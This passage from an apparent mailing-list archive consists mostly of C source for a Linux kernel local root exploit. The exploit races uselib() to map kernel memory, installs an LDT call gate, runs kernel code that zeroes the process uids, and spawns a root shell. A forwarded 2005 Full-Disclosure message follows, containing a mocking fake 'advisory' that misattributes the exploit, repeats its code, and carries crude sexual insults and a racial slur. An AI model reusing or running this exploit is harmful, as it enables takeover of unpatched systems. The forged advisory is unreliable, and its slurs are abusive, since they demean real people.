PAGE_SIZE * 4 ) #define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE ) #define ENTRY_GATE ( LDT_ENTRIES-1 ) #define SEL_GATE ( (ENTRY_GATE<<3)|0x07 ) #define ENTRY_LCS ( ENTRY_GATE-2 ) #define SEL_LCS ( (ENTRY_LCS<<3)|0x04 ) #define ENTRY_LDS ( ENTRY_GATE-1 ) #define SEL_LDS ( (ENTRY_LDS<<3)|0x04 ) #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ; static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, ccnt=0, delta = 0, delta_max = RACEDELTA, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, silent=0, pidx, pnum=0, smp_max=0, smp, wtime=2, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base=0, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2; static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70" "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00"; static char *pagemap, *libname=LIBNAME, *shellname=SHELL; #define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremap inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f); inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e); inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount ); inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b); inline _syscall1(int, sys_uselib, char*, l); inline _syscall0(void, sys_sched_yield); inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(libname); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP int raceme(void* v) { finish=1; for(;;) { errno = 0; // check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(!smp_max && delta < (unsigned)delta_max) goto recheck; smp = smp_max; // check if lib VMAs exist as expected under race condition recheck2: val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(val) continue; errno = 0; val = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if( !val || (val<0 && errno!=ENOMEM) ) continue; // SMP? smp--; if(smp>=0) goto recheck2; // recheck race if(!go) continue; finish++; // we need to free one vm_area_struct for mmap to work val = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(val) fatal("mprotect", 0); val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1==val) fatal("mmap2 race", 0); printf("\n[+] race won maps=%d", map_count); fflush(stdout); _exit(0); } return 0; } int callme_1() { return val++; } inline int valid_ptr(unsigned ptr) { return ptr>=task_size && ptr> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); } // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void segvcnt(int v) { scnt++; scan_mm_finish(); } // child reap void reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // sometimes I get the VMAs in reversed order... // so just use anyone of the two but take care about the flags void check_vma_flags(); void vreversed(int v) { map_flags = 0; check_vma_flags(); } void check_vma_flags() { if(map_flags) { __asm__("movl %%esp, %0" : :"m"(old_esp) ); } else { __asm__("movl %0, %%esp" : :"m"(old_esp) ); goto out; } signal(SIGSEGV, vreversed); val = * (unsigned*)(lib_addr + PAGE_SIZE); out: } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; // printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); // helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0); // synchronize threads while(!finish) sys_sched_yield(); finish=0; if(!silent) { printf("\n"); fflush(stdout); } // try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(libname); go = 0; if(r) fatal("uselib", 0); if(finish) break; // wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(r) fatal("munmap lib", 0); if(ccnt) goto failed; if( !silent && !(pcnt%64) ) { printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]); fflush(stdout); } pcnt++; } // seems we raced, free mem r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0); // relax kswapd sys_gettimeofday(&tm1, NULL); for(;;) { sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if( wtime*1000000U <= (unsigned)delta ) break; } // we need to check the PROT_EXEC flag map_flags = PROT_EXEC; check_vma_flags(); if(!map_flags) { printf("\n VMAs reversed"); fflush(stdout); } // write protect brk's VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|map_flags); if(-1==r) { fatal("mprotect brk", 0); } // this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) { fatal("mremap: expand VMA", 0); } else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE; printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); // try to figure kernel layout signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); scan_mm_start(); failed: fatal("try again", 0); } // make fake ELF library void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd; // make our elf library umask(022); unlink(libname); fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0); memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; static struct sysinfo si; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0); // setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; if(map_base) map_addr = map_base; else map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x", old_esp, task_size, map_base); fflush(stdout); // check physical mem & prepare sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); // go go make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1); old_esp = map_base? map_base : old_esp; for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { if(!c) printf("\n"); printf("\r child %d VMAs %d", val, c); fflush(stdout); } c++; } printf("\r child %d VMAs %d", val, c); fflush(stdout); kill(getppid(), SIGUSR1); for(;;) pause(); } // empty SLAB caches void wipe_slab() { signal(SIGUSR1, chldcnt); printf("\n[+] SLAB cleanup"); fflush(stdout); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) do_wipe(); while(!ccnt) sys_sched_yield(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; } signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-f forced stop\n", n); printf("\t\t-s silent mode\n"); printf("\t\t-c command to run\n"); printf("\t\t-n SMP iterations\n"); printf("\t\t-d race delta us\n"); printf("\t\t-w wait time seconds\n"); printf("\t\t-l alternate lib name\n"); printf("\t\t-a alternate addr hex\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); if(r<0) break; switch(r) { case 'f' : fstop = 1; break; case 's' : silent = 1; break; case 'n' : smp_max = atoi(optarg); break; case 'd': if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u ) fatal("bad delta value", 0); break; case 'w' : wtime = atoi(optarg); if(wtime<0) fatal("bad wait value", 0); break; case 'l' : libname = strdup(optarg); break; case 'c' : shellname = strdup(optarg); break; case 'a' : if(1!=sscanf(optarg, "%x", &map_base)) fatal("bad addr value", 0); map_base &= ~(PGD_SIZE-1); break; case 'h' : default: usage(av[0]); break; } } // basic setup uid = getuid(); setpgrp(); wipe_slab(); prepare(); return 0; } From ihaquer at isec.pl Fri Jan 7 11:48:38 2005 From: ihaquer at isec.pl (Paul Starzetz) Date: Fri, 7 Jan 2005 12:48:38 +0100 (CET) Subject: [Full-Disclosure] [iSEC] [Dailydave] Advisory 1/2005 - Linux Kernel arbitrary code execution (fwd) Message-ID: here the plagiate. -- Paul Starzetz iSEC Security Research http://isec.pl/ ---------- Forwarded message ---------- Date: Fri, 7 Jan 2005 09:39:18 +0100 (CET) From: Janusz Niewiadomski Reply-To: isec at isec.pl To: isec at isec.pl Subject: [iSEC] [Dailydave] Advisory 1/2005 - Linux Kernel arbitrary code execution Ihaquer, to jest Twoj babol i exploit? Jesli tak.. to nie posylalbym wiecej kod?w na vendor-sec.. -- Janusz Niewiadomski iSEC Security Research http://isec.pl/ ---------- Forwarded message ---------- Date: 7 Jan 2005 05:19:59 -0000 From: Stefan Esser Reply-To: "s.esser at ematters.de" <12796750-8530 at sharpmail.co.uk> To: dailydave at lists.immunitysec.com Subject: [Dailydave] Advisory 1/2005 - Linux Kernel arbitrary code execution vulnerability. /* A New Initiative for a New Year * * E-matters are pleased to announce their new Microsoft-approved * Responsible Disclosure initiative in which we will be working * very closely with eEye, iDefense and the vendersec mailing list: * "e-eyeDefenderSec - Because the 'e'-matters" * **** * * Advisory 1/2005 * Linux Kernel arbitrary code execution vulnerability. * * Release Date: 2005/01/06 * Author: Stefan Esser [s.esser at ematters.de] * Application: Linux Kernel <= 2.4.28, <= 2.6.10 * Severity: A vulnerability exists in the ELF loader code * allowing for an attacker to execute code as root. * Risk: Critical * Reference: This advisory will soon be available on the e-matters * website. * Last Modified: 2005/01/06 * **** * * Preamble * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital * security. * * damn isec fools falling for teh bait * dat ret for cliph's box hella accurate * * sniffing on your upstream scopin for gold * hittin pay dirt with this here kernel hole * * responsibly disclosing crap you didn't know before * e-eyeDefenderSec steppin' up the 2k5 score * * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?' * your eyes are too full of dollar bills to see * * we're two steps ahead, and even some to the side * step the fuck back bitch..make, run..and hide. * **** * * Overview * * The Linux Kernel is the core of any Linux operating system. Security * issues within the Kernel allow for attackers to execute code within * the context of the kernel. This allows for attackers to gain root * access to a Linux system. * **** * * Details * * Due to a missing down() call for the semaphore 'current->mm->mmap_sem' * it is possible to create two over-lapping VMAs and exploit behaviour in * mremap that allows you to map kernel memory into userland address ranges. * This can be exploited by an attacker in many ways. * **** * * Proof of Concept * e-matters proof of concept code is attached. * **** * * Disclosure Timeline * * 15. Dec 2004 Issue discovered by Stefan Esser. * 16. Dec 2004 Issue discussed with Sebastian Kraemer of SuSe * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec * 22. Dec 2004 Proof of concept code developed with e-eyeDefenderSec * 24. Dec 2004 Linux kernel team informed of security problem. * 2. Jan 2005 Linux kernel team reply that they fixed the problem. * 3. Jan 2005 divineint gives up on trying to make the PoC code work * and rates the exploit as 'fake - possible trojan'. * 4. Jan 2005 PoC code improved by Sebastian Kraemer and Stefan Esser * 6. Jan 2005 Public Disclosure * **** * * Recommendation * * We strongly recommend upgrading to the latest Linux kernel. * There is no known work-around for this issue. * **** * * GPG-Key * * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC * * **** * * Closing Remarks * * "vendor-sec is a great mailing list, since it serves the security community * so well. Would it not be for vendor-sec, information would be given to the * general public faster, and patches deployed faster. Instead, the list puts * exploits and bug information directly in the hand of blackhats, and gives * them a reliable attack window to pick their targets before a patch is made * public." * - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert, * Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid * Vulnerability Discloser, bsdauth vulnerability discoverer, princessj * anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is, * destroyer of divineint, scourge of scriptkids, the one the only, * inventer of the internet GOLDEN GOD. * * Special thanks to: Derek Calloway (aka jimjones / the_uT) of @stake. * Mayhem (thanks for the shellcode help you grumpy frog :)) * cliph (seriously bro, Firefox has updates for a reason) * * ... and that KF nigger. * **** * * Testbeds * * clarity.local - werd up * cvs.kernel.org - I bet you don't find the backdoor *this* time ;) * **** * * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved. * */#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s #define xstr(s) str(s)#define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib"// shell name #define SHELL "/bin/bash"// time delta to detect race #define RACEDELTA 5000// if you have more deadbebes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 )#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE ( LDT_ENTRIES-1 ) #define GATESEL ( (ENTRY_GATE<<3)|0x07 )#define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB#define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ;static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, old_esp = 0, delta = 0, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, brute=0, ccnt=0, pidx, pnum=0, smp=4, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char *pagemap;#define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(LIBNAME); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP static int raceme(void* v) { int r; printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout); finish=1; for(;;) { errno = 0;// check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(delta < RACEDELTA) goto recheck;// check if lib VMAs exist as expected under race condition recheck2: r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(r) continue; errno = 0; r = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(!r || (r<0 && errno != ENOMEM) ) continue;// SMP? if(smp-->=0) goto recheck2;// recheck race if(!go) continue; finish++;// we need to free one vm_area_struct for mmap to work r = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(r) fatal("mprotect", 0); r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1 == r) fatal("mmap2 race", 0); printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout); _exit(0); }return 0; } // get uid=0 kernel code (stolen from cliph) asmlinkage void kernel_code(unsigned *task) { unsigned *addr = task;// find & reset uids while(addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = /*addr[1] = */addr[2] = addr[3] = 0; addr[4] = addr[5] = addr[6] = addr[7] = 0;// find & correct VMA for(addr=(unsigned *)task_size; (unsigned)addr= task_size && addr[1] == vma_start && addr[2] == vma_end && addr[3] >= task_size ) { addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void);void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $("xstr(__KERNEL_DS)") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel_code \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } void static sigfailed(int v) { ccnt++; fatal("lcall", 1); } // modify LDT & exec void try_to_exploit(unsigned addr) { volatile int r, *v; printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout); r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC); if(r) fatal("mprotect 1", 1);// check if really LDT v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) ); signal(SIGSEGV, sigfailed); r = *v; if(r != MAGIC) { printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout); fatal("find LDT", 1); }// yeah! *v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU); *(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U; printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);// reprotect to get one VMA r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC); if(r) fatal("mprotect 2", 1);// CPL0 transition asm("lcall $" xstr(GATESEL) ",$0x0"); if( getuid()==0 ) { printf("\n[+] exploited, uid=0\n" ); fflush(stdout); } else { printf("\n[-] uid change failed" ); fflush(stdout); sigfailed(0); } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); execl(SHELL, "sh", NULL); fatal("execl", 0); } void static scan_mm_finish(); void static scan_mm_start(); // kernel page table scan code void static scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= addr_min) scan_mm_start(); scnt=0; val = *(int*)map_addr; scan_mm_finish(); } void static scan_mm_finish() { retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); if(scnt) { pagemap[pidx] ^= 1; } else { sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; scan_mm(); goto retry; } // make kernel page maps before and after allocating LDT void static scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; static struct sysinfo si; pnum++; if(pnum==1) { sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if(addr_max >= 0xffffe000 || addr_max < addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); pidx = max_page-1; } else if(pnum==2) { memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES-1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); }// save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache static int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void static segvcnt(int v) { scnt++; scan_mm_finish(); } void static reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz; printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt);// helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0);// synchronize threads while(!finish) sys_sched_yield(); finish=0;// try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(LIBNAME); go = 0; if(r) fatal("uselib", 0); if(finish) break;// wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(-1==r || ccnt) goto failed; }// seems we raced r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0);// write protect brk VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|PROT_EXEC); if(-1==r) fatal("mprotect brk", 0);// this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) fatal("mremap: expand VMA", 0); else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE;// try to figure kernel layout printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); scan_mm_start();failed: fatal("try again", 0);} // make fake ELF library static void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd;// make our elf library umask(022); unlink(LIBNAME); fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib", 0); memset(&eh, 0, sizeof(eh) );// elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) );// section header: memset(&eph, 0, sizeof(eph) ); 